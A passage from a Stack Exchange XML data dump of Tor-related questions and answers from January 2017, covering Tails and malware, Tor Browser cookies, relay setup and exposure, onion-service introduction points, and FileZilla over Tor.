is indeed malware, is poorly written or is being operated by imbeciles (I.E. you detected because it was doing obvious things, it's not very well hidden, etc.). Unless you have reason to believe that intimidation is their intent then it seems unlikely to be a &quot;three-letter agency&quot; or any advanced attackers, it's probably only infected userspace or kernelspace, at worst a bootkit. A clean Tails install will protect you from all of those. I would still urge you to proceed with caution, if you do use Tails then &lt;em&gt;never&lt;/em&gt; put in the Tails boot media while any other operating system is running (shut it down &lt;em&gt;then&lt;/em&gt; insert the Tails media) and if possible create the Tails boot media from a trusted friend or colleague's computer system, or if that's not available then some random computer system that is available to you that would make it difficult to target you through.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-01-14T01:44:38.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13700" PostTypeId="1" CreationDate="2017-01-14T19:41:40.533" Score="0" ViewCount="522" Body="&lt;p&gt;I have not found anything anywhere that addresses the excessivity of cookies, including Third Party cookies, that are presently being posted by websites into connecting browsers. This is primarily related to the tracking cookies that websites, both parties, are presently adding to any computer that connects them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does Tor address this issue?&lt;/p&gt;&#xA;" OwnerUserId="15854" LastEditorDisplayName="user5" LastEditDate="2017-01-15T04:27:11.097" LastActivityDate="2017-03-16T05:11:51.217" Title="Does Tor address the excessivity of cookies websites post on the browser?" Tags="|security|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13701" PostTypeId="1" AcceptedAnswerId="13705" CreationDate="2017-01-14T20:05:05.957" Score="0" ViewCount="631" Body="&lt;p&gt;This is more out of curiosity for me than anything.  I understand that Tails is a LiveUSB distro focused on Tor, etc.  My question is pretty simple: Is it possible for malware downloaded while in Tails to spread to the hdd?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is assuming that the user did &lt;em&gt;not&lt;/em&gt; intend to save files of any kind to the drive and did not intentionally mount the drive.&lt;/p&gt;&#xA;" OwnerUserId="15760" LastActivityDate="2017-01-15T01:16:09.917" Title="Can malware spread from Tails to a computer's hdd?" Tags="|tails|malware|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13703" PostTypeId="2" ParentId="3400" CreationDate="2017-01-15T01:06:06.013" Score="0" Body="&lt;p&gt;According to the logs you've provided - it's 100% clear that problem is in your software setup. To diagnose Tor's problems you should look for two strings to make 101% sure that there's no problem with Tor itself:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;6/29/14, 18:24:50.646 [NOTICE] Tor has successfully opened a circuit. Looks like client functionality is working.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;6/29/14, 18:24:50.646 [NOTICE] Bootstrapped 100%: Done.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Fitst one tells you that &lt;strong&gt;everything is OK&lt;/strong&gt; and even without finishing a full bootstrap Tor is able to serve client connections and requests &lt;em&gt;from this very moment&lt;/em&gt;. Second one confirms that &lt;em&gt;every bootstrapping and initialization procedure has been completed successfully&lt;/em&gt;. If you have these two messages in your Tor log and no further errors in it - the Tor is not to blame in any connection problem, it's working and it's OK. Looks like your AV software or a browser plug-in is interfering with your connection &lt;em&gt;from your local browser instance to your local Tor instance&lt;/em&gt;. That's where the problem is in your case. Try to uninstall your AV program - yes, you heared it right. Some AV's are all-the-stuff-in-one now, and even setting it to &quot;Disabled&quot; or &quot;Inactive&quot; state has no full effect described: i.e. local firewall and browsing filter are to blame in your particular case. I've seen it with Kasperskiy's products - you can disable it totally, &lt;em&gt;but it still bugs you&lt;/em&gt;. So - try to remove it. If you need it on your host, you need to tune up a firewall, browser filtering &lt;em&gt;and application control&lt;/em&gt; parts to trust and enable Tor process and Tor browser executable as well. &lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-15T01:06:06.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13705" PostTypeId="2" ParentId="13701" CreationDate="2017-01-15T01:16:09.917" Score="1" Body="&lt;p&gt;yes, not just onto HDD, but even into BIOS and firmware - like &lt;a href=&quot;https://www.google.ru/url?sa=t&amp;amp;rct=j&amp;amp;q=&amp;amp;esrc=s&amp;amp;source=video&amp;amp;cd=1&amp;amp;cad=rja&amp;amp;uact=8&amp;amp;ved=0ahUKEwjV-eu__MLRAhVhQpoKHUB6BqkQtwIIGjAA&amp;amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DPE97Ajaaur8&amp;amp;usg=AFQjCNHc33PkQfmap20U8t8ncBe6bZAoaQ&amp;amp;sig2=a94y6wOsfPSChzu_xLlviw&amp;amp;bvm=bv.144224172,d.bGs&quot; rel=&quot;nofollow noreferrer&quot;&gt;Rackshasta&lt;/a&gt;. All software can have a zero-day exploits/vulnerabilities, including Tails. And it's OK - programs are written by people, people make mistakes, other people are finding these mistakes. &lt;em&gt;Any&lt;/em&gt; OS and/or program can have this kind of risks, so don't blame Tails.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-15T01:16:09.917" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13706" PostTypeId="2" ParentId="13700" CreationDate="2017-01-15T01:19:06.437" Score="0" Body="&lt;p&gt;Tor itself works on OSI layers 3 and 4(in particular), so the answer is NO.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're about a Tor Browser - some things were made to mitigate the risks, but not in a full scale. Erase the caches if you need to wipe out all the cookies, that's the only secure way&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-15T01:19:06.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13707" PostTypeId="2" ParentId="13700" CreationDate="2017-01-15T03:25:18.377" Score="1" Body="&lt;p&gt;Yes, Tor Browser disables &lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/#identifier-linkability&quot; rel=&quot;nofollow noreferrer&quot;&gt;Third Party Cookies&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Cross-Origin Identifier Unlinkability design requirement is satisfied through first party isolation of all browser identifier sources. First party isolation means that all identifier sources and browser state are scoped (isolated) using the URL bar domain. This scoping is performed in combination with any additional third party scope. When first party isolation is used with explicit identifier storage that already has a constrained third party scope (such as cookies and DOM storage), this approach is referred to as &quot;double-keying&quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It also provides the New Identity feature, which when used will remove all cookies from the session. Cookies also do not persist between sessions, as such you can use this to unlink your browsing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also cookies are entirely unrelated to any &quot;virus&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/12491/why-does-not-tor-browser-disable-cookies-completly&quot;&gt;Why does not Tor Browser disable cookies completly?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/8806/can-site-com-attach-and-access-identifying-cookies-to-torbrowser-session-if-ja/12346#12346&quot;&gt;Can site.com attach (and access) identifying cookies to TorBrowser session if JavaScript disabled?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-01-15T03:25:18.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13708" PostTypeId="1" CreationDate="2017-01-15T06:32:31.320" Score="1" ViewCount="2920" Body="&lt;p&gt;Tor has some really amazing features such as NAT Punching Feature which allows a unique relatively secret .onion URL which can be accessed form anywhere in the world via Tor network. This has tremendous potential in the world of Iot and various Wireless Sensor Network applications. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know if there is currently any mechanism (perhaps a support package for arduino like MCUs) for a microcontroller and a small ESP8266 WiFi SoC to be a part of the awesome Tor network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyone working on this type of work? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, I would also like to know your opinions about this type of work in case if you happen to answer the question.&lt;/p&gt;&#xA;" OwnerUserId="4990" LastEditorDisplayName="user6671" LastEditDate="2019-02-04T02:27:27.990" LastActivityDate="2021-08-17T05:36:45.813" Title="Tor for IOT - connecting a microcontroller to internet through Tor - Arduino Tor" Tags="|network-configuration|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="13709" PostTypeId="1" AcceptedAnswerId="13710" CreationDate="2017-01-15T06:50:49.253" Score="0" ViewCount="577" Body="&lt;p&gt;When a Tor hidden service is implemented it publishes an introductory point. To my current understanding, connections to the said hidden service is highly dependant on this introductory point. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Is this introductory node jurst another Tor relay/exit node? Do I know that my Tor exit relay is somebody's introductory point? Can I host one introduction point if I want to?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If the introductory service goes down, does it make the hidden service go down too? Is my hidden service smart enough to realise when the introductory point is down and republish another?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4990" LastActivityDate="2017-01-15T07:38:52.810" Title="How does NAT punching in Tor work?" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ClosedDate="2017-01-31T16:07:38.143" ContentLicense="CC BY-SA 3.0" />
  <row Id="13710" PostTypeId="2" ParentId="13709" CreationDate="2017-01-15T07:38:52.810" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Yes, it's a tor node which was elected for this role. You should host a node - it will become an introductory point one day. You can not forcible set the role and it's properties except the Exit, Bridge and Node(client-only mode disabled).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Your service is smart enough and it will make the problem settled with the help of the rest of Tor network.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-15T07:38:52.810" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13711" PostTypeId="2" ParentId="13708" CreationDate="2017-01-15T07:46:01.473" Score="1" Body="&lt;p&gt;It's hardly possible due to the lack of resources on board: 256 or 512 Mb of RAM is a requirement for running Tor and Linux image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: there're a devices like &lt;a href=&quot;http://www.linksprite.com/linksprite-pcduino/&quot; rel=&quot;nofollow noreferrer&quot;&gt;PCDuino&lt;/a&gt; - so they're a perfect choice for Tor and IoT, 100% Arduino compatible, &lt;a href=&quot;http://www.linksprite.com/pcduino8-uno/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this one&lt;/a&gt; will be just awesome, I think.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2017-01-16T02:21:01.250" LastActivityDate="2017-01-16T02:21:01.250" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="13715" PostTypeId="1" AcceptedAnswerId="13716" CreationDate="2017-01-16T03:48:07.550" Score="1" ViewCount="544" Body="&lt;p&gt;I am not sure whether or not my relay is working. I see messages in the log file saying something like &quot;Tor has successfully created a circuit. Looks like client is functioning.&quot; (I'm not sure exactly what it said because it just made a new log file, but I know it said something very similar to that if not that). That message makes me think that the relay is working. But then I get another message: &quot;Your server has not managed to confirm that its ORPort is reachable.&quot; This message leads me to believe that the relay isn't working. I checked the Atlas, but my relay does not show up there. I have forwarded the ORPort through VirtualBox (I am running the relay on a Ubuntu VM), I have opened the port in my firewall, and I have forwarded it in my router. Am I missing something? Do I have to trigger it instead of forwarding it? I currently have it set as TCP everywhere, it is TCP and not UDP, correct?&lt;/p&gt;&#xA;" OwnerUserId="15791" LastActivityDate="2017-01-16T04:15:44.620" Title="Is my relay working?" Tags="|relays|network-configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13716" PostTypeId="2" ParentId="13715" CreationDate="2017-01-16T04:15:44.620" Score="0" Body="&lt;p&gt;So - let's take a look at it step by step. The message &quot;Tor has successfully created a circuit. Looks like client is functioning.&quot; tells you that tor instance was able to make a connection with the rest of the network, but the message &quot;Your server has not managed to confirm that its ORPort is reachable.&quot; tells you that something is defenately wrong with your port forwarding. It's a TCP-only forward, to check it - open something like a lighttpd or any other kind of a webserver on it from inside your VM without starting tor(to keep the port free) - and just try to open it in &lt;code&gt;wget&lt;/code&gt; request from &lt;em&gt;another&lt;/em&gt; network location: i.e. vps or remote server, or some online port checking services. If it will work, but your tor won't be working still - drop a comment here, we will fix it!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-16T04:15:44.620" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13717" PostTypeId="2" ParentId="13671" CreationDate="2017-01-16T04:18:45.590" Score="1" Body="&lt;p&gt;I haven't worked with Samsung devices, but the behaviour you described is very odd and warning by itself: it seems that application is being run in some kind of debugging or tracing container. Because - regardless of the OS, memory manager and so forth - &lt;em&gt;any kind&lt;/em&gt; of forced garbage collecting should &lt;strong&gt;not&lt;/strong&gt; affect running applications memory: it's not freed and not queued for garbage collecting. You can be experiencing a privacy intrusion, I'm afraid...&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-16T04:18:45.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13718" PostTypeId="2" ParentId="7424" CreationDate="2017-01-16T14:40:47.913" Score="1" Body="&lt;p&gt;adding to the types you've mentioned there're two other kinds of them:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Zero-Day exploits&lt;/strong&gt; Tor browser is a Firefox by roots, so some Firefox zero-day exploits are affecting it too. It's OK for &lt;em&gt;any&lt;/em&gt; software to have mistakes - it's written by people, people do mistakes.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;External container&lt;/strong&gt; Using things that are inside the browser is safe in case of Tor browser or other ones - they will use proxies configured. However calling some external components like Adobe Flash will cause a separated execution container being created &lt;em&gt;by OS&lt;/em&gt; - and it can just ignore the proxy settings and try to make a direct request and leak data.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-16T14:40:47.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13720" PostTypeId="2" ParentId="12398" CreationDate="2017-01-16T15:49:24.757" Score="-1" Body="&lt;p&gt;It's OK - I'm using it myself like this, this stuff happens. Even if you're restricting &lt;code&gt;ExitNodes&lt;/code&gt; - there're an IP-to-Country location inaccuracy that causes this kind of events. &lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-16T15:49:24.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13721" PostTypeId="1" CreationDate="2017-01-16T18:48:09.943" Score="1" ViewCount="3900" Body="&lt;p&gt;When using TAILS, I sometimes need to open things in a non-tor browser to get them to open/ work. I downloaded chrome and have the .exe file, but don't know what to do with it after it downloads to my tails downloads. I am not a linux aficianado. But I imagine it is not too difficult. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="15876" LastActivityDate="2022-03-18T02:21:36.543" Title="TAILS &amp; CHROME/ FFOX" Tags="|tails|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13722" PostTypeId="1" AcceptedAnswerId="13723" CreationDate="2017-01-17T02:31:42.947" Score="1" ViewCount="134" Body="&lt;p&gt;I'm running a non exit relay, but I am slightly concerned. My relay information is listed on the Atlas, along with my IP Address. Is this safe? Doesn't it make me an easy target for getting ddosed?&lt;/p&gt;&#xA;" OwnerUserId="15791" LastActivityDate="2017-01-17T04:41:42.210" Title="Does running a relay expose my IP and make me vulnerable to attacks?" Tags="|security|relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13723" PostTypeId="2" ParentId="13722" CreationDate="2017-01-17T04:41:42.210" Score="0" Body="&lt;p&gt;It is as safe as having an external IP address itself: whenever you have it, it is already discoverable. Tor network itself can not be easily DDoS'ed because of it's distributed nature, so there is no practical use at all to DDoS a particular tor node, actually :) Also running a relay is making your network life safer, actually: your traffic is mixed up with relay traffic, and if an adversary will try to snoop on your traffic - his task is a way tougher: relay's traffic must be separated from yours :)&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-17T04:41:42.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13724" PostTypeId="2" ParentId="13721" CreationDate="2017-01-17T04:44:46.423" Score="0" Body="&lt;p&gt;There's no use for dot-exe file in Linux - unless you're trying to perform a difficult emulation setup. If you're not a Linux pro - install Virtualbox from your distro's repository and run the browser &lt;em&gt;inside the VM&lt;/em&gt; routed through Tor to properly isolate it. If you need help in setting it up - just say it, and we will do it&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-17T04:44:46.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13725" PostTypeId="1" CreationDate="2017-01-17T06:49:37.543" Score="0" ViewCount="188" Body="&lt;p&gt;I am new to TOR and not very tech savvy.  While using TOR to set up an email account, I found that I had to constantly to solve puzzles for verification. Sometimes websites would not allow me access, saying my computer may have a virus as it was getting too many requests.  What freaked me out was when an ad on the side of the page showed an ad for a show I watch thru a streaming service.  At the time I think I had been using Chrome for searches that didn't need anonymity... So I'm wondering if the TOR browser and Chrome were able to share info, or if someone figured out my identity? Thanks for any help you can give in advance.&lt;/p&gt;&#xA;" OwnerUserId="15877" LastActivityDate="2017-01-17T09:58:48.083" Title="Was I attacked or my identity found out?" Tags="|anonymity|deanonymization|attacks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13726" PostTypeId="2" ParentId="13725" CreationDate="2017-01-17T09:58:48.083" Score="1" Body="&lt;p&gt;It's a captcha glitch, quite a common one. It's OK - some sites are using overreaching protection, it does backfire like that even without using Tor. Tor Browser and Chrome &lt;em&gt;by themselves&lt;/em&gt; are two separated processes, but if you've used an add-on inside both of them that logs you into itself in some way, i.e. via facebook, google account, e.t.c. - this can happen &lt;em&gt;via that particular add-on&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-17T09:58:48.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13727" PostTypeId="1" AcceptedAnswerId="14349" CreationDate="2017-01-17T20:20:30.717" Score="2" ViewCount="780" Body="&lt;p&gt;I have a friend of mine that only uses Tor, when asked why?, simple explanation is he doesn't want anyone knowing what or where he is going online.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this guy pretty well, and he's not into anything too weird, gamer, 420 friendly, usually in a relationship but off an on again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He is always complaining about how Tor gives him so many problems, I don't really dive too deep in just say &quot;Yeah that sucks&quot; and move on about my day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tired using Tor, going to Google was a pain, eBay didnt like me, a lot of sites gave me issues, so much so I didn't use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't do too much illegal, download some torrents, alone time activities, here and there surfing, not a gamer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does Tor usually give issues when basic browsing? ie. not super user stuff, basic average internet user stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If he is not doing anything illegal why would he cares who sees what he is doing? Besides hiding from ads on Pandora, which doesn't work in Tor btw. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I he wants to prevent his computer from learning what he is doing incognito works too... as far as I can tell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How sure is the entire Tor community that Tor is 100% anonymous, it was designed by the US Navy how do you know the NSA isn't looking at people on the list, maybe you are not on the list?&lt;/p&gt;&#xA;" OwnerUserId="15882" LastEditorDisplayName="user5" LastEditDate="2017-02-17T05:30:29.827" LastActivityDate="2017-03-20T03:26:20.930" Title="Why use Tor for basic internet surfing?" Tags="|anonymity|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13728" PostTypeId="2" ParentId="13727" CreationDate="2017-01-18T04:11:55.987" Score="0" Body="&lt;p&gt;When I was starting to use Tor myself - of course, I readed the story about US Navy and I wondered how many backdoors were there in a source code. But looking and digging into it for a week left me with a good point that there were none, so it's - in my vision of things - a piece of liberty that US Navy gifted to the world as an open-source. The websites will stop or reduce giving you an issues the more nodes are up &lt;em&gt;constantly&lt;/em&gt;, especially in an exit mode. You can not ban 100000 different IP's on any firewall on by-ip basis without a serious perfomance impact, so the more exits it will be - the more difficult it will be to enumerate/enlist the Tor exits and to block them by number. Eventually it will hit the &quot;impossibility&quot; barrier. It's a misunderstanding when a website/service is afraid of Tor, actually - Tor is a way better than HTTPS front-end, because it also diverses the route. Tor+HTTPS is a priceless combo by price/abilities/security ratio. Users of Tor are the same users like in clearnet, so if the website wants to have a real users - use 2-factor ID for **All* of them: there're more bots in clearnet than in all the darknets combined. You can use Tor for daily browsing - it's ok: come captcha-issues are in place, but privacy-related issues are much fewer than in clearnet.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-18T04:11:55.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13730" PostTypeId="1" CreationDate="2017-01-18T10:06:12.397" Score="3" ViewCount="4004" Body="&lt;p&gt;So the question is obvious now here's what I did:&#xA;I've tried without openning TOR browser to go to Edit-&gt;Settings, then I went to Connection-&gt;Generic Proxy and I've selected SOCKS5, then I typed host for 127.0.0.1 and port for 9050 and here's what I've got:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Status:   Connecting to zx4h3vvf2g2x6rci.onion through SOCKS5 proxy&lt;br&gt;&#xA;  Status:   Connecting to 127.0.0.1:9050...&lt;br&gt;&#xA;  Status:   Connection attempt failed with &quot;ECONNREFUSED - Connection refused by server&quot;.&lt;br&gt;&#xA;  Error: Could not connect to server&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So I've tried with TOR browser on and same result, I've checked everything and everything is correct. Oh and this is what I get when I try proxy port 9150 with TOR browser on:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Status:   Connecting to zx4h3vvf2g2x6rci.onion through SOCKS5 proxy&lt;br&gt;&#xA;  Status:   Connecting to 127.0.0.1:9150...&lt;br&gt;&#xA;  Status:   Connection with proxy established, performing handshake...&lt;br&gt;&#xA;  Status:   Connection established, waiting for welcome message...&lt;br&gt;&#xA;  Status:   Insecure server, it does not support FTP over TLS.&lt;br&gt;&#xA;  Status:   Logged in&lt;br&gt;&#xA;  Status:   Retrieving directory listing...&lt;br&gt;&#xA;  Status:   Connecting to 127.0.0.1:9150...&lt;br&gt;&#xA;  Status:   Connection with proxy established, performing handshake...&lt;br&gt;&#xA;  Error:    Proxy request failed. Reply from proxy: General SOCKS server failure&#xA;  Error:    Proxy handshake failed: ECONNABORTED - Connection aborted&lt;br&gt;&#xA;  Response: 150 Opening BINARY mode data connection.&lt;br&gt;&#xA;  Response: 550-Data channel timed out.&lt;br&gt;&#xA;  Response:  Win32 error:   The network connection was aborted by the local system.&lt;br&gt;&#xA;  Response:  Error details: Data channel timed out.&lt;br&gt;&#xA;  Response: 550 End&lt;br&gt;&#xA;  Error:    Failed to retrieve directory listing  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;With the TOR browser off I get the same result as before with ECONNREFUSED after the second stage of connecting.&lt;br&gt;&#xA;So here's what I ask, how to setup filezilla to use with TOR? What am I doing wrong? What software do I need? etc. etc.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So please help me if you can, I've been googling with no luck so I took my last resort is to ask for help :/  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry if I can't put direct tags in, I couldn't find any with FTP or filezilla and to create new tags I must have high reputation so sorry for that. I couldn't find any question regarding my problem so I posted a new thread instead. If it was answered please show me the link to the solution and I'll post back to tell you if it helped.&lt;/p&gt;&#xA;" OwnerUserId="15888" LastActivityDate="2023-11-06T19:04:30.520" Title="How to setup filezilla client to access TOR?" Tags="|configuration|proxy|settings|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13731" PostTypeId="1" CreationDate="2017-01-18T10:36:32.187" Score="1" ViewCount="323" Body="&lt;p&gt;I am not an expert in Wireshark but I was looking at some packets through Wireshark. I noticed that when using a relay that the connection to the directory authority the first few TCP packets such as the SYN, SYN-AKN and the AKN are occurring before the TLS hand shack &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q 1 So I am assuming that this is unencrypted data. Is this correct? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q 2 Are the first three packets I see (SYN, SYN-ACK and the ACK) between the tor client and the tor relay and bridge and all packet there after  encrypted when using a bridge and a relay?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q 3 If the keys are public keys that are used to connect to the tor network would  the keys be know by the attacker as well ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q 4  Does this mean the attacker can intercept the connection?&lt;/p&gt;&#xA;" OwnerUserId="15701" LastEditorUserId="15701" LastEditDate="2017-01-27T09:39:06.987" LastActivityDate="2017-08-31T05:49:27.700" Title="Can the tor initial client to relay or bridge connection be MITM attacked?" Tags="|security|relays|bridge|directory|encryption|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13732" PostTypeId="2" ParentId="13731" CreationDate="2017-01-18T12:59:51.510" Score="0" Body="&lt;pre&gt;&lt;code&gt;Q1 No&#xA;Q2 Yes&#xA;Q3 Keys are hardcoded into a tor's binary to prevent spoofing&#xA;Q4 see Q3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In tor source code there're IP's and keys hardcoded, so MitM here is technically impossible because there's no need in key exchange and negotiation. After connecting to the directories, a list of node descriptors is fetched - and the every node's key is a part of it's descriptor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE after your question update:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Q3 yes, they are well-known, they're &lt;em&gt;public&lt;/em&gt; keys. It does not mean anything bad for client and brings no profit to the attacker: Tor node list is easy to query and the datasets that is provided by directories are public and open. That's also why there's a mirroring mechanism in Tor network when nodes that are elected as a &quot;directory mirrors&quot; are caching signed replies from directories and making a load-ballancing and censorship-by-ip protection.&lt;/li&gt;&#xA;&lt;li&gt;Q4 he can read it, but not modify/alter: it's like a HTTP GET query to a CDN for a digitally signed content when you have a key on your side. An attacker will read nothing new than querying the directories himself. Directories does &lt;strong&gt;not&lt;/strong&gt; provide personally-related data in such a query-response cycles. All the sensitive communications are done via Tor protocol with a multi-layered onion encryption, so there's nothing to worry about.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2017-01-27T13:30:03.973" LastActivityDate="2017-01-27T13:30:03.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13733" PostTypeId="2" ParentId="13730" CreationDate="2017-01-18T14:13:29.577" Score="0" Body="&lt;p&gt;A passive FTP setting must be enforced in case of dot-onion FTP servers, because it will use a single TCP pipe opened from your side for both Control and Data streams. Your error log states that data pipe is broken. Active FTP over Tor is possible, but it requires a non-trivial setup on both sides. Use a passive one and be safe :)&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-18T14:13:29.577" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13734" PostTypeId="1" CreationDate="2017-01-18T19:03:40.470" Score="1" ViewCount="48" Body="&lt;p&gt;For a user in the United States, what are privacy considerations in choosing a domestic bridge versus an international bridge? Is there any evidence if US versus non-US nodes have been found to be malicious more often in the past? Would openly connecting to an overseas bridge dramatically increase the chances of being caught up in mass surveillance as it raises raises red flags by overtly connecting overseas?&lt;/p&gt;&#xA;" OwnerUserId="15689" LastActivityDate="2017-01-18T20:43:40.247" Title="Privacy Implications of choosing a domestic versus international bridge" Tags="|surveillance|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13735" PostTypeId="2" ParentId="13734" CreationDate="2017-01-18T20:43:40.247" Score="1" Body="&lt;p&gt;No, there's no such implicatioons at all. If the bridge is compromised or accessed without a key - it does not matter where it is. &lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-18T20:43:40.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13737" PostTypeId="1" CreationDate="2017-01-19T03:35:23.433" Score="0" ViewCount="1702" Body="&lt;p&gt;My phone is rooted so I have given root access to the app.&#xA;Then, when I press to start orbot, it says, orbot is starting, then comes NOTICE: Finished bootstrapped 10% orbot is finishing handshake with directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then it comes, orbot is sending HALT Signal to the process, then orbot is deactivated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't surf the net....&#xA;.&lt;/p&gt;&#xA;" OwnerUserId="15895" LastActivityDate="2023-01-05T13:02:45.330" Title="Orbot app is constantly starting and shuting down" Tags="|orbot|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
